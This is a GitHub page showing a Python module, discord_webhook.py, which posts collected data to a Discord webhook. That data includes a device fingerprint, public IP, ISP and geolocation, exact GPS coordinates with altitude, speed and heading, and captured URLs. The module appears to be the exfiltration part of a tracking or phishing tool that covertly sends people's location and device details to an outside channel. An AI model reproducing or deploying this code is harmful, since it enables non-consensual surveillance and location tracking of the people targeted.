-
-
Notifications
You must be signed in to change notification settings - Fork 1.7k
/
discord_webhook.py
160 lines (153 loc) · 5.21 KB
/
discord_webhook.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
#!/usr/bin/env python3
import requests
from json import dumps, loads
def discord_sender(url, msg_type, content):
json_str = dumps(content)
json_content = loads(json_str)
if msg_type == 'device_info':
info_message = {
"content": None,
"embeds": [
{
"title": "Device Information",
"color": 65280,
"fields": [
{
"name": "OS",
"value": json_content['os']
},
{
"name": "Platform",
"value": json_content['platform']
},
{
"name": "Browser",
"value": json_content['browser']
},
{
"name": "GPU Vendor",
"value": json_content['vendor']
},
{
"name": "GPU",
"value": json_content['render']
},
{
"name": "CPU Cores",
"value": json_content['cores']
},
{
"name": "RAM",
"value": json_content['ram']
},
{
"name": "Public IP",
"value": json_content['ip']
},
{
"name": "Resolution",
"value": f'{json_content["ht"]}x{json_content["wd"]}'
}
]
}
]
}
requests.post(url, json=info_message, timeout=10)
if msg_type == 'ip_info':
ip_info_msg = {
"content": None,
"embeds": [
{
"title": "IP Information",
"color": 65280,
"fields": [
{
"name": "Continent",
"value": json_content['continent']
},
{
"name": "Country",
"value": json_content['country']
},
{
"name": "Region",
"value": json_content['region']
},
{
"name": "City",
"value": json_content['city']
},
{
"name": "Org",
"value": json_content['org']
},
{
"name": "ISP",
"value": json_content['isp']
}
]
}
]
}
requests.post(url, json=ip_info_msg, timeout=10)
if msg_type == 'location':
location_msg = {
"content": None,
"embeds": [
{
"title": "Location Information",
"color": 65280,
"fields": [
{
"name": "Latitude",
"value": json_content['lat']
},
{
"name": "Longitude",
"value": json_content['lon']
},
{
"name": "Accuracy",
"value": json_content['acc']
},
{
"name": "Altitude",
"value": json_content['alt']
},
{
"name": "Direction",
"value": json_content['dir']
},
{
"name": "Speed",
"value": json_content['spd']
}
]
}
]
}
requests.post(url, json=location_msg, timeout=10)
if msg_type == 'url':
url_msg = {
"content": json_content['url'],
"embeds": None,
"attachments": []
}
requests.post(url, json=url_msg, timeout=10)
if msg_type == 'error':
error_msg = {
"content": None,
"embeds": [
{
"color": 16711680,
"fields": [
{
"name": "Error",
"value": json_content['error']
}
]
}
],
"attachments": []
}
requests.post(url, json=error_msg, timeout=10)